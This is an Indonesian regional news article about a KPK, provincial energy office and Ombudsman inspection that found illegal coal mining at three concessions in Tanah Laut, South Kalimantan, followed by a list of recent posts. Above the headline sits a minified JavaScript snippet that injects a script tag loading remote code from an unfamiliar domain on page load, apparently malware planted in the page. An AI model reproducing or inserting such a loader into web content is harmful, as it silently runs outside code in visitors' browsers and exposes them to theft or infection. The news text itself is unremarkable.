(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

KPK dan ESDM Kalsel Temukan Aktivitas Tambang Ilegal di Tanah Laut


PELAIHARI, Tim Komisi Pemberantasan Korupsi (KPK) bersama Dinas ESDM Kalsel dan Ombudsman Kalsel melakukan sidak di areal tambang di Kabupaten Tanah Laut (Tala), Rabu (31/7). Dari sidak tersebut, tim berhasil menemukan aktivitas pertambangan ilegal (Peti) di tiga lokasi berbeda.

Temuan pertambangan ilegal pertama ditemukan di areal lahan konsesi Hak Guna Usaha (HGU) kelapa sawit milik PT Sinar Surya Jorong. Dimana Peti tersebut diketahui milik PT Dwi Guna Laksana  yang sejauh ini belum membuat Rencana Kerja Anggaran Biaya (RKAB). Lokasi Peti lainnya ditemukan di kawasan Relenguish yang merupakan penciutan PKP2B milik PT Jorong Barutama Greston (JBG). Dan terakhir, di konsesi milik PT Basmo Indo Mandiri.

Salah satu aktivitas Peti milik perorangan tersebut, diketahui beroperasi mengeruk di bekas penciutan lokasi areal pertambangan PKP2B milik PT JBG. Operator alat berat yang diketahui bernama Wahyu, mengaku hanya disuruh Paman Arul.

Dia sempat diminta berhenti melakukan aktivitasnya oleh Kabid Minerba ESDM Pemrov Kalsel, Gunawan Harjito. Namun, ia menjelaskan bahwa dirinya hanya diminta bekerja menggarap Bekas Tambang tersebut dengan upah Rp 25 ribu per jam.

Terkait penemuan pertambangan ilegal tersebut, tim penasehat KPK dan ESDM akan segera melaporkan kasus tersebut ke aparat penegak hukum untuk diambil tindakan dan juga akan dilaporkan ke ESDM Pusat.

Penasihat KPK Budi Santoso, mengatakan, mereka akan mendata berapa jumlah temuan, dan langsung merekomendasikan ke APH. Saat ini, mereka tidak ada kewenangan untuk melakukan penindakan. Terkait penemuan tersebut, ia berharap ada evaluasi pada perbaikan sistem dan tata kelola pertambangan.

“Dengan demikian, maka  pendapatan negara atau royalti dari sektor pertambangan bisa meningkat. Mengingat potensinya di Kalsel cukup besar. Saat ini masih banyak peraturan atau keputusan menteri yang tak mempertimbangkan situasi di lapangan,” ungkapnya.

Sementara Kabid Minerba ESDM Provinsi Kalsel, Gunawan Harjito mengatakan aktivitas peti di Kalsel memang masih ada, dan jumlahnya pun mencapai puluhan. Sebarannya ada Tanah Laut, Tanah Bumbu, dan Hulu Sungai Selatan, “Kami tidak bisa berbuat banyak, karena ini kewenangan aparat penegak hukum, kami sudah melaporkan jumlahnya lumayan banyak,” katanya.


Page: 1 2

Desy Arfianty

Recent Posts

Kontestan Kepala Daerah di Kalsel Ditantang Miliki Visi Majukan Perpustakaan

KANALKALIMANTAN.COM, BANJARMASIN - Tim Tenaga Ahli Gubernur Kalimantan Selatan (Kalsel) melakukan kunjungan ke Dinas Perpustakaan… Read More

2 jam ago

Instansi Vertikal Disiapkan Masuk SKPD Instansi Mengajar di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Pendidikan (Disdik) Kota Banjarbaru siap menggandeng instansi vertikal di Kota Banjarbaru,… Read More

3 jam ago

780 Anggota PPK se Kalsel Dilantik, Bertugas 8 Bulan

KANALKALIMANTAN.COM, BANJARBARU - Seluruh Panitia Pemilihan Kecamatan (PPK) di Provinsi Kalimantan Selatan (Kalsel) resmi dilantik… Read More

3 jam ago

25 Anggota PPK Kota Banjarbaru Dilantik, Langsung Bekerja Membentuk Sekretariat

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru resmi melantik 25 orang anggota Panitia… Read More

6 jam ago

Kearifan Lokal Kalsel Harus Dibaca dan Ditulis Generasi Muda

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More

18 jam ago

Sekda HSU Sampaikan Raperda Pertanggungjawaban Pelaksanaan APBD 2023, Ini Angka Detailnya

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More

19 jam ago

This website uses cookies.